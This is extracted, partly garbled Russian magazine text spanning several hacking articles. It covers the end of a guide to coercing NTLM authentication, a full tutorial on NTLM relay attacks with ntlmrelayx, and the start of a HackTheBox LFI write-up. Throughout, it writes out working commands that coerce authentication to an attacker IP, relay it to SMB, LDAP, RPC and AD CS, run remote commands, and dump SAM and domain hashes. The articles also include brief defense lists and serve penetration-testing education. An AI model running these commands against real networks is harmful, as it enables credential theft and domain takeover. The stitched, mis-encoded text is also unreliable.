в положе нии посере дине меж ду кли ентом и сер вером, нап ример ARP spoof-
ing, DHCPv6 spoong или NetBIOS spoong (вспо мина ем про Responder).
Любая из этих тех ник может поз волить зах ватить NTLM-аутен тифика цию
и даже боль ше. Но они могут ока зать ся раз рушитель ными для сети, поэто му,
ког да мож но обой тись без них, луч ше так и делать.

Про MITM-ата ки в сле дующих раз делах мы отдель но говорить не будем,
потому что смысл при мер но тот же.

RPC (135/TCP)

В репози тории на GitHub готов к исполь зованию RPCRelayServer. Пока что
скрипт не добав лен в основную вет ку impacket, но мне кажет ся, это воп рос
вре мени. Те, кто хочет поп робовать, уже сей час 

. Пос ле добав ления необ ходимых скрип тов и ком понен тов в ntlmrelayx
мы будем при нимать аутен тифика цию на порт 135/TCP.

мо гут самос тоятель но обно- 
вить ся

По лучить NTLM-аутен тифика цию на 135-й порт мож но нес коль кими спо- 
соба ми:

вос поль зовать ся SweetPotato;•
стриг герить вруч ную;•
про вес ти MITM-ата ку.•

SweetPotato
Про SweetPotato и его экс плу ата цию луч ше читать статью «

». Но в целом кон- 
цепция такая же, как у PetitPotam: мы получим аутен тифика цию от име ни
машины толь ко на 135-й порт.

Кар тошка-0.
Повыша ем при виле гии в AD при помощи RemotePotato0

Òðèããåðèì âðó÷íóþ
Ес ли у нас есть воз можность уда лен но выпол нить код на домен ной машине
или прос то для экспе римен тов, мож но стриг герить обра щение на DCE RPC
сле дующим спо собом:

rpcping /s <attacker IP> /e 135 /a privacy /u NTLM 

Ïðèìåð ïîëó÷åíèÿ àóòåíòèôèêàöèè íà DCE RPC
По луча ем аутен тифика цию и дела ем Relay на SMB.

Зах ват NTLM-аутен тифика ции с DCE RPC и Relay на SMB

По луча ем дос туп к сетевым пап кам.

Ре зуль тат выпол нения Relay на SMB

Продолжение статьи →

mailto:vlad.driev@gmail.com
https://crack.sh/
https://habr.com/ru/post/688682/
https://github.com/fortra/impacket/pull/1299/files#diff-93b5dd49bbb07db86b89fb6092a84b9ed38160e70e0d4ff3ff52a0ed4d754309
https://xakep.ru/2022/08/26/remotepotato0/


ЗАХВАТЫВАЕМ
NTLM-АУТЕНТИФИКАЦИЮ

ДЛЯ RELAY-АТАКИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

HTTP (80/TCP)

По лучить NTLM-аутен тифика цию на HTTP мож но нес коль кими спо соба ми:
при менить сoerce-ата ки, если на хос те вклю чен WebDav;•
ис поль зовать PrivExchange;•
стриг герить вруч ную;•
про экс плу ати ровать RemotePotato0;•
про вес ти MITM-ата ку.•

Coerce-àòàêè
С coerce-ата ками на HTTP все ана логич но SMB, раз ница толь ко в том, что
для при нуж дения на HTTP нуж но, что бы на машине (которую мы при нуж даем)
был вклю чен WebDav.

Ес ли WebDav вык лючен, мож но поп робовать
вклю чить его с помощью ярлычка. Под робнее
об этой тех нике читай на .The Hacker

Так же ата кующе му нуж на собс твен ная DNS-запись в обсле дуемом домене.
Если WebDav вклю чен, то нам оста ется толь ко при нудить машину, исполь зуя

 или любой дру гой скрипт, нап ример с помощью PetitPotam.Coercer.py
При нуж даем машину прой ти аутен тифика цию на HTTP.

За пуск PetitPotam.py

Про верить, вклю чен ли WebDav, мож но с помощью коман ды

crackmapexec smb <target IP> -u <user> -p <password> -M webdav 

Про вер ка дос тупнос ти WebDav с помощью CrackMapExec

PrivExchange
Тех ника при нуж дения Exchange, которая называ ется PrivExchange, осно вана
на уяз вимос тях CVE-2019-0686 и CVE-2019-0724. О ее исполь зовании луч ше
про читать статью .Abusing Exchange: One API call away from Domain Admin

Òðèããåðèì âðó÷íóþ
Ес ли у нас есть воз можность уда лен но выпол нить код на домен ной машине,
мож но стриг герить обра щение на HTTP, исполь зуя Basic auth. Коман да выг- 
лядит так:

 powershell -c "Invoke-WebRequest -Uri http://<attacker IP>/ 
-UseDefaultCredentials".

RemotePotato0
При повыше нии при виле гий с помощью тех ники RemotePotato0 на опре- 
делен ном эта пе нам дос тает ся аутен тифика ция с HTTP, которой мы можем
вос поль зовать ся для Relay-ата ки. Осо бен ностью ата ки явля ется пра виль ный
выбор CLSID, под робнее луч ше читать в статье «

».
Кар тошка-0. Повыша ем при- 

виле гии в AD при помощи RemotePotato0
На машине, к которой у нас есть RDP-дос туп, запус каем экс пло ит 

.
Remote-

Potato0.exe

За пуск RemotePotato0 для Relay на HTTP

На машине ата кующе го запус каем ntlmrelayx. Получа ем сер тификат от име ни
адми нис тра тора домена.

Ус пешный Relay на HTTP в резуль тате выпол нения RemotePotato0

Что бы пос мотреть ID сес сии для ата ки, исполь зуй
коман ду .query user

WCF (9389/TCP)

Один из необыч ных вари антов получе ния NTLM-аутен тифика ции — про токол
WCF (Windows Communication Foundation). Что это такое и с чем его едят,
мож но узнать на . В качес тве спой лера ска жу толь ко, что
модуль Active Directory для PowerShell пос тро ен на про токо ле WCF.

сай те Microsoft

Нам же ско рее инте рес но, как его исполь зовать при Relay-ата ках. Пер вое
иссле дова ние в 2020 году про вел @cnotin и подарил миру WCFRelayServer
для ntlmrelayx. Вот ссыл ка на .блог авто ра

По лучить аутен тифика цию на WCF мож но сле дующи ми спо соба ми:
стриг герить вруч ную;•
про вес ти MITM-ата ку.•

Òðèããåðèì âðó÷íóþ
Ес ли у нас есть воз можность уда лен но выпол нить код на домен ной машине,
мож но стриг герить обра щение на WCF 9389/TCP, исполь зуя NetNTLM. Спо- 
соб выг лядит сле дующим обра зом:

 powershell -c "get-aduser -filter * -server IP"

Триг герим аутен тифика цию на WCF

Та кая аутен тифика ция может неожи дан но встре тить ся на оче ред ном пен- 
тесте, нап ример при про веде нии ата ки ARP spoong в сег менте сети,
в котором находят ся адми нис тра торы.

RAW (ÏÐÎÈÇÂÎËÜÍÛÉ TCP)

Этот про токол и тех ника в целом ста ли лич но для меня боль шим откры тием
при написа нии статьи. Пока что есть вари ант получить аутен тифика цию
на RAWRelayServer толь ко с исполь зовани ем .lsarelayx

Ва риант исполь зования пред лага ется дос таточ но прос той — запус каем
lsarelayx на зах вачен ной Windows-машине, начина ем при нуж дать прой ти
аутен тифика цию на ней все целевые хос ты или прос то сидим и ждем, пока
на нее не зай дет какой-нибудь при виле гиро ван ный поль зователь.
При получе нии аутен тифика ции lsarelayx перех ватыва ет ее и пересы лает
на нашу машину. Получа ется в каком-то роде зак ладка.

Ра ботать все будет при мер но по сле дующей схе ме.

Схе ма работы lsarelayx

При про веде нии экспе римен тов с lsarelayx при ходим к выводу, что все Relay-
ата ки работа ют в соот ветс твии с тем, с какого про токо ла была получе на
аутен тифика ция, а RAW ста новит ся лишь про межу точ ным зве ном в цепоч ке
Relay-ата ки.

Для запус ка lsarelayx исполь зует ся сле дующая коман да:

lsarelayx.exe --host <attacker IP> 

Итак, на зах вачен ной машине запус тили lsarelayx.

Схе ма работы lsarelayx

На нашей машине получи ли аутен тифика цию с lsarelayx на RAWRelayServer
и перес лали ее на SMB.

Зах ват аутен тифика ции на RAW и Relay на SMB

В резуль тате получа ем про фит в зависи мос ти от при виле гий, получен ной
аутен тифика ции.

Ре зуль тат Relay на SMB

В зак лючение раз говора про этот сер вер хотелось бы добавить, что «Защит- 
ник Windows» сра зу же обна ружи вает и уда ляет lsarelayx, поэто му для его
запус ка, веро ятно, при дет ся пот рудить ся.

ÊÀÊ ÏÎËÓ×ÈÒÜ NTLM-ÀÓÒÅÍÒÈÔÈÊÀÖÈÞ, ÅÑËÈ ÌÅØÀÅÒ NAT
ÈËÈ ÌÝ

Осу щес твить Relay не вый дет, если недос тупны сетевые соеди нения
до машины ата кующе го. Пре пятс тво вать соеди нению может NAT или МЭ.
Воз можных вари антов решения этой проб лемы видит ся нес коль ко:

В такой ситу ации надо искать машину с Linux, до которой смо гут дой ти
под клю чения, поч ти всег да это уда ется сде лать.

•

Хо рошим вари антом будет раз вернуть вир туаль ную машину с Linux на узле
с Windows. Как это сде лать, рас ска зыва ет статья «

».

•
Пин гвин-супер шпи он.

Исполь зуем вир туал ку с Linux для пос тэкс плу ата ции Windows
Ес ли все-таки не получи лось или под жима ют сро ки, мож но рас смот реть
вари ант запус ка ntlmrelayx на сер вере с белым IP-адре сом, но надо учи- 
тывать рис ки — аутен тифика ция пой дет через интернет в откры том виде.

•

ÁÎÍÓÑ № 1

При при нуж дении на HTTP кажет ся, что с WebDav все понят но: он либо есть,
либо нет, а с DNS-записью все не так однознач но. Если у нашей машины нет
DNS-записи, всег да мож но поп робовать поис кать хост, на котором она
будет. А там уже не важ но, Windows это или Linux, с помощью socat мы смо- 
жем проб росить себе 80-й порт и получать завет ные аутен тифика ции. На схе- 
ме это будет выг лядеть при мер но сле дующим обра зом.

Схе ма проб роса 80-го пор та

За пус каем socat для проб роса 80-го пор та с машины с DNS-записью на хост
ата кующе го.

За пуск socat

За пус каем ntlmrelayx на машине ата кующе го.

За пуск ntlmrelayx

При нуж даем машину прой ти NTLM-аутен тифика цию на хос те, где запущен so-
cat. На схе ме это work2.

При нуж дение к аутен тифика ции с помощью PetitPotam

Ма шина work2 пыта ется прой ти аутен тифика цию на work3 и попада ет на хост
ата кующе го.

При нима ем аутен тифика цию с HTTP на машине ата кующе го

ÁÎÍÓÑ № 2

Пе риоди чес ки при ходит ся стал кивать ся с тем, что та или иная сис тема пыта- 
ется прой ти аутен тифика цию по NTLM с помощью домен ной учет ки. Так
любят делать анти виру сы, DLP-сис темы и бэкап-сис темы.

За метить это доволь но прос то: запус каем Responder в режиме ана лиза
на дос таточ но про дол житель ное вре мя и смот рим, пытал ся ли кто-то прой ти
аутен тифика цию.

Пос ле того как уда лось под твер дить, что в домен пери оди чес ки кто-то сту- 
чит ся, мож но запус тить ntlmrelayx и сидеть ждать, ког да в сле дующий раз
учет ка попыта ется прой ти аутен тифика цию на нашем узле. При пра виль ном
выборе мес та, куда делать Relay, мож но зак репить ся в домене, а потом
и под нять при виле гии до адми на.

Этот при мер плав но под водит нас к теме сле дующей статьи — NTLM Relay.
В ней мы пос тара емся разоб рать ся, что это такое, как делать и какой про фит
мож но получить.

ÇÀÙÈÒÀ

В качес тве защиты мож но посове товать сле дующее:
1. Ре гуляр но уста нав ливать обновле ния безопас ности.
2. Не допус кать появ ления сетевых папок с ано ним ным дос тупом на запись.
3. От казать ся от исполь зования NetBIOS.
4. От клю чить IPv6, если он не нужен.
5. При менить смяг чающие меры по защите от coerce-атак.

ÂÛÂÎÄÛ

Уве рен, что в статье перечис лены не все воз можные спо собы получить NTLM-
аутен тифика цию. Если у тебя воз никли мыс ли, идеи или уже был опыт исполь- 
зования аль тер натив ных спо собов, буду рад обратной свя зи.

Глав ный вывод, который мож но сде лать, — спо собы получе ния NTLM-
аутен тифика ции для пос леду юще го выпол нения Relay-ата ки огра ниче ны толь- 
ко фан тази ей ата кующе го. © X
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ВЗЛОМ

С ата ками NTLM Relay спе циалис ты по пен- 
тестам зна комы дав но. В боль шинс тве слу- 
чаев пред посыл ки к успешной Relay-ата- 
ке — это не уяз вимость, а осо бен ность нас- 
трой ки инфраструк туры, поэто му ата ка час- 
то исполь зует ся в боевой обста нов ке
на реаль ных про ектах. Сегод ня мы раз- 
берем, как выпол няет ся такая ата ка, ког да
NTLM-аутен тифика ция уже получе на.

О том, как получить NTLM-аутен тифика цию, пред- 
шес тву ющую Relay-ата ке, под робно рас ска зано
в статье «

». Ата ки NTLM
Relay мож но про водить не толь ко в Active Directo-
ry, но еще, нап ример, в ALD и FreeIPA-доменах.

Гид по NTLM Relay. Зах ватыва ем NTLM-
аутен тифика цию для Relay-ата ки

Для глу боко го понима ния темы с точ ки зре ния теории рекомен дую 
. Преж де чем перей ти непос редс твен но к раз бору методов, догово- 

рим ся о тер минах.

про читать
статью

До пус тим, кли ент хочет прой ти аутен тифика цию с машины Work1 на SMB,
ата кующий перех ватыва ет эту сес сию и хочет прой ти аутен тифика цию
на LDAP. Такой кейс мы будем называть Relay с SMB на LDAP.

Еще один при мер, что бы зак репить наше понима ние. Кли ент хочет прой ти
аутен тифика цию с машины Work1 на HTTP, ата кующий перех ватыва ет эту сес- 
сию и хочет прой ти аутен тифика цию на SMB. Такой кейс мы будем называть
Relay с HTTP на SMB.

ÊËÈÅÍÒÛ

Для реали зации ата ки нам нужен кли ент и сер вер, ntlmrelayx как раз по такой
модели и пос тро ен. Про RelayServers мы говори ли , в этой
будем говорить про RelayClients.

в прош лой статье

SMB (445/TCP)
На SMB аутен тифика цию мож но пересы лать с любого дру гого про токо ла.
Глав ное усло вие успешнос ти Relay-ата ки — это отсутс твие тре бова ния под- 
писи SMB-сооб щений на машине, куда мы выпол няем Relay. Что бы про верить
это, мож но вос поль зовать ся сле дующей коман дой:

    crackmapexec smb -u '' -p '' --shares <target IP or nets or file> 

На рисун ке тре бова ние под писи вклю чено, на этой машине выпол нить ата ку
на SMB Relay не получит ся.

SMB Signing: True

А в этом при мере на машине тре бова ние отклю чено, на нее Relay делать
мож но.

SMB Signing: False

Для авто мати зации мож но исполь зовать сле дующую коман ду:

crackmapexec smb --gen-relay-list targets.txt <nets> 

Соз дание спис ка целей для Relay на SMB

Рас смот рим вари анты выпол нения Relay на SMB. Самый прос той вари ант —
выпол нить Relay на машину с SMB, ког да пересы лаемая нами учет ная запись
име ет пра ва локаль ного адми нис тра тора на целевом хос те. При выпол нении
такой пересыл ки сдам пятся хеши SAM, и мы получим NT-хеш локаль ного
адми нис тра тора и зак репим ся на машине.

impacket-ntlmrelyx -t smb://<IP> 

Ус пешный Relay на SMB

Но если прав нет, мы получим ошиб ку, и на этом ата ка закон чится.

Не удач ный Relay на SMB

В ситу ации, ког да у нас исполь зует ся SMBv2, всег да необ ходимо добав лять
флаг . В качес тве цели мож но ука зать файл, где перечис ляют ся
в поряд ке при ори тета цели и про токол, на который надо выпол нить ата ку,
при мер но в сле дующем фор мате:

-smb2support

smb://IP1 
ldap://IP2 
smb://IP3 
rpc://IP4 

Что бы подать на вход этот файл со спис ком целей, исполь зуем флаг :-tf

impacket-ntlmrelayx -tf targt.txt 

И тут сто ит ска зать, что обыч но аутен тифика ция при лета ет не одна, а сра зу
нес коль ко, поэто му мож но поп робовать Relay в нес коль ко мест. Но так же
в ntlmrelayx есть механизм multirelay, суть которо го сос тоит в том, что он
может одну условную аутен тифика цию прев ратить в десять. Это дей стви тель- 
но работа ет, но не ста биль но. При пер вой же ошиб ке или отка зе дос тупа
про цесс оста новит ся. Что бы отклю чить этот механизм в слу чае с нес коль кими
целями, нуж но добавить в коман ду параметр :--no-multirelay

 impacket-ntlmrelayx -tf targt.txt -smb2support --no-multirelay

А так же важ но не забыть добавить необ ходимые фла ги для каж дого из про- 
токо лов, которые при сутс тву ют в спис ке целей. При мени тель но ко всем
осталь ным кли ентам эта информа ция тоже акту аль на.

Для вза имо дей ствия с сетевы ми пап ками целевой машины от име ни
пересы лаемой учет ной записи можем исполь зовать инте рак тивный режим:

impacket-ntlmrelyx -t smb://<IP> -i

Relay на SMB в инте рак тивном режиме

Пос ле это го у нас под нима ется обо лоч ка на локаль ном интерфей се,
к которой мож но при соеди нить ся сле дующей коман дой:

nc 127.0.0.1 11000 

Пос ле под клю чения нам дос тупен обыч ный smbclient из Impacket с точ но
таким же син такси сом.

Обо лоч ка smbclient в резуль тате Relay на SMB

Спо соб получе ния инте рак тивно го режима может быть полезен, ког да мы
не зна ем, есть у нас при виле гиро ван ные пра ва на целевой машине или нет.
Если прав нет и мы поль зуем ся стан дар тным режимом — ничего не про изой- 
дет. Если пра ва есть, мы хотя бы получим дос туп ко всей фай ловой сис теме и,
может быть, суме ем най ти что-то инте рес ное. Но в целом есть еще более
уни вер саль ный спо соб.

Мо жет сло жить ся ситу ация, ког да мы не име ем прав локаль ного адми нис- 
тра тора, но можем зак репить ся на целевой машине от име ни пересы лаемой
учет ной записи с помощью фла га :-socks

impacket-ntlmrelyx -t smb://<IP> -socks

В этом режиме мож но реали зовать при мер но сле дующую схе му.

Схе ма Relay на SMB в режиме socks

Пос ле успешной Relay-ата ки мы получа ем SMB-сес сию и можем исполь- 
зовать ее мно гок ратно с помощью proxychains4. Для это го редак тиру ем кон- 
фигура цион ный файл . В конец добав ляем строч ку:/etc/proxychains4.conf

socks4  127.0.0.1 1080 

Для исполь зования уже соз данно го соеди нения пос ле нас трой ки кон фига
proxychains подой дет сле дующий син таксис:

 proxychains4 impacket-smbclient 'domain/username@<target IP>'
-no-pass

Сто ит обра тить вни мание, что про ходить аутен тифика цию таким обра зом
мож но толь ко на машине, куда был совер шен Relay. Запус каем ntlmrelayx
с фла гом , в качес тве целей ука зыва ем машины без SMB Signing.socks

Relay на SMB в режиме socks

Ре дак тиру ем кон фиг proxychains. Мы можем запус кать smbclient без пароля
через proxychains.

Smbclient в кон тек сте socks

Та кой спо соб может поз волить зак репить ся на целевой машине даже неп- 
ривиле гиро ван ному поль зовате лю, что исполь зует ся в опре делен ных ситу- 
ациях. Но если сес сия ока жет ся при виле гиро ван ной, мож но запус тить se-
cretsdump и получить NT-хеши.

Secretsdump в кон тек сте sock

Та ким обра зом мы можем запус кать весь софт из Impacket, а так же осно ван- 
ные на нем скрип ты. С помощью это го спо соба мож но делать дей стви тель но
уди витель ные вещи, но об этом чуть поз же, а пока плав но перехо дим к сле- 
дующе му про токо лу.

LDAP (389/TCP, 636/TCP)
Вы пол нять Relay на LDAP мож но толь ко в слу чае, если на сер вере отклю чено
тре бова ние под писи сооб щений. Про верить мож но с помощью скрип та 

.
Ldap-

RelayScan.py

python3 LdapRelayScan.py -dc-ip <target IP> 

Про вер ка тре бова ния под писи LDAP

Relay-ата ки на LDAP могут быть край не импак тны ми для ата кующе го, поэто му
Microsoft пыта ется это му вся чес ки пре пятс тво вать. Есть нес коль ко глав ных
усло вий, при которых воз можна пересыл ка NTLM-аутен тифика ции на LDAP:
1. Аутен тифика ция с HTTP всег да пересы лает ся на LDAP.
2. Аутен тифика ция с SMB пересы лает ся на LDAP в сле дующих слу чаях:

ис поль зование NetNTLMv1-хеша кли ентом;•
уяз вимос ти CVE-2019-1040 и CVE-2019-1166 на кон трол лерах домена.•

3. Экс плу ата ция RemotePotato0.

Для экс плу ата ции пересыл ки с HTTP на LDAP никаких фла гов добав лять
не надо:

impacket-ntlmrelayx -t ldap://<DC IP> 

Ус пешный Relay на LDAP

Из резуль тата вид но, что ntlmrelayx про веря ет при виле гии поль зовате ля
в домене, добав ляет нового, если может, и накиды вает ему при виле гии
на DCSync, а так же соз дает дамп домена. Если поль зователь не обла дает
никаки ми при виле гиями, то прос то соз дает ся дамп домена.

Дам пим  с помощью соз данной в резуль тате Relay-ата ки учет ки.ntds.dit

Secretsdump с помощью поль зовате ля, соз данно го в резуль тате Relay

Дамп домена, получен ный в резуль тате успешной Relay-ата ки на LDAP,
показан на рисун ке ниже.

Дамп домена в резуль тате Relay-ата ки на LDAP

Те перь нес коль ко слов мож но ска зать про Relay с SMB на LDAP. Углублять ся
в струк туру каж дого из хешей не будем, все-таки раз говор не об этом,
но пару слов про раз ницу имен но в кон тек сте такой ата ки ска зать сто ит:

NetNTLMv1-хеш будет при ятным подар ком для ата кующе го, потому что
у него есть недос таток дизай на — отсутс твие зна чения MIC (зна чение
для про вер ки целос тнос ти), которое поз воля ет выпол нять Relay с SMB
на LDAP.

•

В NetNTLMv2 исправ лен этот недос таток, но все-таки в реали зации были
обна руже ны уяз вимос ти CVE-2019-1040 и CVE-2019-1166, которые поз- 
воля ют уда лить MIC и выпол нить Relay с SMB на LDAP.

•

Во всех опи сан ных слу чаях при меня ем флаг  в ntlmrelayx:--remove-mic

 impacket-ntlmrelayx -t ldap://<DC IP> -smb2support --remove-mic

В слу чае аутен тифика ции с NetNTLMv2-хешем на кон трол лер с пат чем
получа ем ошиб ку.

Не удач ный Relay на LDAP

Продолжение статьи →
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В слу чае аутен тифика ции с NetNTLMv2-хешем на кон трол лер без пат ча
получа ем про фит.

Ус пешный Relay на LDAP c NetNTLMv2-хешем

Ана логич ная ситу ация будет с NetNTLMv1-хешем при Relay-ата ке на кон трол- 
лер с пат чем — получа ем про фит.

Ус пешный Relay на LDAP с NetNTLMv1-хешем

Так же полез ным может ока зать ся инте рак тивный режим:

impacket-ntlmrelayx -t ldap://<DC IP> -i

Ус пешный Relay на LDAP в инте рак тивном режиме

Пос ле это го у нас есть воз можность под клю чить ся к инте рак тивной обо лоч ке
и начать вза имо дей ство вать с LDAP. Встро енные фун кции поз воля ют сде лать
дамп домена, добавить поль зовате ля в груп пу, уда лить его отту да, про вес ти
экс плу ата цию RBCD, соз дать поль зовате ля и так далее. В целом небога то,
но жить мож но.

Обо лоч ка LDAP пос ле Relay на LDAP

А вот один из клас сных при меров исполь зования RAW-сер вера, о котором мы
говори ли в пре дыду щей статье с Relay-ата кой на LDAP.

Relay на LDAP с RAW-сер вера

Ре зуль тат пересыл ки аутен тифика ции на LDAP — соз данная учет ная запись,
не админ ская, но с при виле гией DCsync.

Учет ная запись, соз данная в резуль тате Relay, не явля ется адми нис тра -
тором

RPC (135/TCP)
Так же воз можна пересыл ка NTLM-аутен тифика ции на DCE/RPC. В основном
эта тема рас кры вает ся в кон тек сте Potato-атак. Но так же есть уяз вимос ти,
которые поз воля ют выпол нять коман ды на узле вне зависи мос ти от тре бова- 
ний под писи SMB, потому что SMB там не исполь зует ся сов сем.

Пер вые иссле дова ния на эту тему опуб ликова ли CompasSecurity в сво ем
бло ге. Более того, три года под ряд они находят все новые век торы экс плу- 
ата ции Relay на RPC. Пер вой была уяз вимость , потом 

, и в 2022 году они откры ли миру ата ку на .
CVE-2020-1113 CVE-

2021-26414 AD CS ESC11
Для экс плу ата ции CVE-2020-1113 (при сутс тву ет в Impacket 0.10.0) исполь- 

зуем сле дующую коман ду:

impacket-ntlmrelayx -t rpc://<target IP> -c ’whoami’ 

В качес тве при мера выпол ним код на кон трол лере домена с вклю чен ным тре- 
бова нием под писи SMB-сооб щений.

SMB Signing: True на кон трол лере домена

RCE пос ле Relay на RPC

Да же если в домене нас тро ено тре бова ние под писи SMB, мож но про бовать
Relay на RPC, пос коль ку один-единс твен ный непос тавлен ный патч может дать
пре иму щес тво ата кующе му.

Что бы иметь воз можность экс плу ата ции ESC11, необ ходимо в свой Im-
packet добавить нем ного кода, который мож но .най ти на GitHub

ESC11 — это одна из тех ник для повыше ния при- 
виле гий в AD через центр сер тифика ции, осно- 
ван ная на выпус ке сер тифика та через RPC. Вот

.cсыл ка на пер воис точник опи сания тех ники

Для экс плу ата ции ESC11 дос таточ но сле дующей коман ды:

 
impacket-ntlmrelayx -t rpc://<CA IP> -rpc-mode ICPR -icpr-ca-name <
CA name> --template "template name"

Экс плу ата ция ESC11

В резуль тате экс плу ата ции мы получа ем сер тификат от име ни учет ки, аутен- 
тифика ция которой была перех вачена. Нап ример, мы можем при нудить кон- 
трол лер домена прой ти аутен тифика цию на нашей машине, сде лать ESC11,
получить сер тификат от име ни кон трол лера и в ито ге ском про мети ровать
домен.

HTTP (80/TCP)
Пе ресыл ка аутен тифика ции на HTTP воз можна с любого дру гого про токо ла,
основной век тор экс плу ата ции — это AD CS ESC8.

ESC8 — это одна из тех ник для повыше ния при- 
виле гий в AD через центр сер тифика ции, осно- 
ван ная на выпус ке сер тифика та через WEB. Вот

.ссыл ка на пер воис точник опи сания тех ники

При поис ке AD CS без учет ной записи мож но про верить все кон трол леры,
а так же все обна ружен ные Windows Server на дос тупность URL вида 

. С учет ной записью все гораз до про ще, мож но вос поль- 
зовать ся удоб ным инс тру мен том .

http://<
CA IP>/certsrv

Certipy
Для выпол нения Relay-ата ки мож но исполь зовать сле дующую коман ду:

   
 

impacket-ntlmrelayx -t "http://<CA IP>/certsrv/certfnsh.asp" --adcs
--template "template name"

На рисун ке ниже при веден при мер Relay с RPC на HTTP.

Экс плу ата ция ESC8

Вот при мер пересыл ки аутен тифика ции с RAW на HTTP и реали зация ата ки
ESC8.

Экс плу ата ция ESC8 пос ле перех вата с RAW-сер вера

По мимо повыше ния при виле гий, дан ную тех нику
мож но исполь зовать для получе ния началь ного
дос тупа в домене. Если на эта пе раз ведки уда- 
лось обна ружить AD CS с вклю чен ным WebEnroll,
то при получе нии NTLM-аутен тифика ций мож но
сра зу нацелить ся на получе ние сер тифика та
и таким обра зом получить зак репле ние.

ÂÛÂÎÄÛ

Ес ли с бру том все ясно: находишь тип хеша и запус каешь hashcat, то с Relay
не все так однознач но. Из-за раз личных осо бен ностей не всег да понят но,
куда мож но пересы лать аутен тифика цию.

Для начала прос то при ведем таб лицу экспе римен тов с Relay-ата ками. Все
экспе римен ты были про веде ны с помощью ntlmrelayx v0.10.0.

Таб лица воз можных NTLM Relay

Аутен тифика цию с SMB при опре делен ных усло виях мож но пересы лать
на любой дру гой про токол.

Аутен тифика цию с DCE RPC точ но мож но перес лать на HTTP, SMB, RPC.
В сочета нии с тех никами RemotePotato0 мож но получить HTTP-аутен тифика- 
цию от име ни при виле гиро ван ного поль зовате ля и выпол нить Relay на LDAP.

Аутен тифика цию с HTTP мож но перес лать куда угод но, без огра ниче ний.
Аутен тифика цию с WCF точ но мож но пересы лать на HTTP, SMB, RPC.

С LDAP надо раз бирать ся отдель но, с нас кока не получи лось.

ÁÎÍÓÑ

Мо жет сло жить ся ситу ация, ког да на внут реннем пен тесте будет открыт дос- 
туп по VPN, который зап реща ет обратные соеди нения — то есть при при нуж- 
дении ни одна аутен тифика ция до ата кующе го долететь не смо жет.

До мен малень кий и дос таточ но новый, уяз вимос тями и мис конфи гами
обрасти не успел. Но сра зу же бро сает ся в гла за, что поч ти на всех машинах
на SMB не тре бует ся под пись, в том чис ле на Exchange-сер верах, которые
час то обла дают высоки ми при виле гиями в домене.

На эта пе раз ведки уда лось най ти локаль ную учет ную запись от нес коль ких
домен ных машин, но без прав локаль ного адми нис тра тора. С помощью
локаль ной учет ки мож но выпол нить Coerce-ата ку. Таким обра зом, есть воз- 
можность получить домен ную учет ку машины и, соот ветс твен но, дос туп
к каким-то сетевым пап кам и даже боль ше.

В слу чае с дос тупом к сетевым пап кам все дос таточ но прос то: выпол няем
Coerce на машину ата кующе го, далее Relay на SMB в инте рак тивном режиме
на любой домен ный узел без тре бова ния под писи SMB. На схе ме этот алго- 
ритм выг лядит нем ного понят нее.

Схе ма при нуж дения и Relay с локаль ной учет кой

Ины ми сло вами, имея толь ко локаль ную учет ку, впол не реаль но получить дос- 
туп к некото рым домен ным ресур сам. Но мож но выжать из это го боль ше.
С помощью такого хит рого спо соба есть воз можность при нудить дру гую
машину пос ле успешно го Relay. Корот ко схе ма получит ся такой: Coerce + Re-
lay + Coerce + Relay = Admin.

А если кон крет нее, то такой кейс воз можен, если на Exchange отклю чен
SMB Signing и Exchange находят ся друг у дру га в адми нах, как это час то быва- 
ет. С помощью локаль ной учет ки получа ем домен ную учет ку машины и дела- 
ем Relay на SMB на Exchange1, пос ле чего при нудим его прой ти аутен тифика- 
цию на машине ата кующе го. Пос ле получе ния аутен тифика ции выпол няем
Relay на Exchange2 на SMB уже от име ни Exchange1. На схе ме это выг лядит
при мер но так.

Схе ма Coerce + Relay + Coerce + Relay = Admin

Не имея домен ной учет ки и даже учет ки локаль ного адми на на каком-нибудь
хос те, мож но про вора чивать доволь но-таки хит рые трю ки.

ÇÀÙÈÒÀ

В при веден ной таб лице хорошо прос лежива ется тен денция, что для защиты
надо зак рывать эндпо инты, куда может быть совер шен Relay. Если корот ко:
1. Вклю чить тре бова ние под писи SMB-сооб щений.
2. Вклю чить тре бова ние под писи LDAP.
3. Отклю чить WebEnroll в AD CS.
4. Выс тавить в AD CS флаг  в положе- 

ние .
IF_ENFORCEENCRYPTICERTREQUEST

True

5. Регуляр но уста нав ливать обновле ния безопас ности.

В боль шинс тве слу чаев Relay воз можен из-за неболь ших недос татков в нас- 
трой ках инфраструк туры, поэто му защитить свой домен мож но прос тыми
метода ми.

ÈÒÎÃ

В ито ге мож но ска зать, что Relay-ата ки силь но рас ширя ют воз можнос ти ата- 
кующе го. Если про вес ти качес твен ную раз ведку и пра виль но оце нить ситу- 
ацию, исполь зовать все век торы для получе ния аутен тифика ции и про бовать
их пересы лать в раз личные эндпо инты, то шан сы на успех рез ко воз растут. © X

https://blog.compass-security.com/2020/05/relaying-ntlm-authentication-over-rpc/
https://blog.compass-security.com/2021/08/relaying-ntlm-authentication-over-rpc-again/
https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
https://github.com/fortra/impacket/pull/1442/files#diff-05df7c88157714a17dd683fef3496c6287831e8d3e6f7deb1bdea838ea33ac93
https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://github.com/ly4k/Certipy


ЭКСПЛУАТИРУЕМ LFI
И ОШИБКУ СЕРИАЛИЗАЦИИ

В КОДЕ НА PHP

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как обхо дить
филь тр локаль ного вклю чения фай лов (LFI),
затем раз берем алго ритм генера тора кода
акти вации и про экс плу ати руем уяз вимость
в фун кции десери али зации объ екта PHP.
Получив дос туп к хос ту, повысим при виле- 
гии через инъ екцию команд в скрип те
на Bash.

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.195    broscience.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

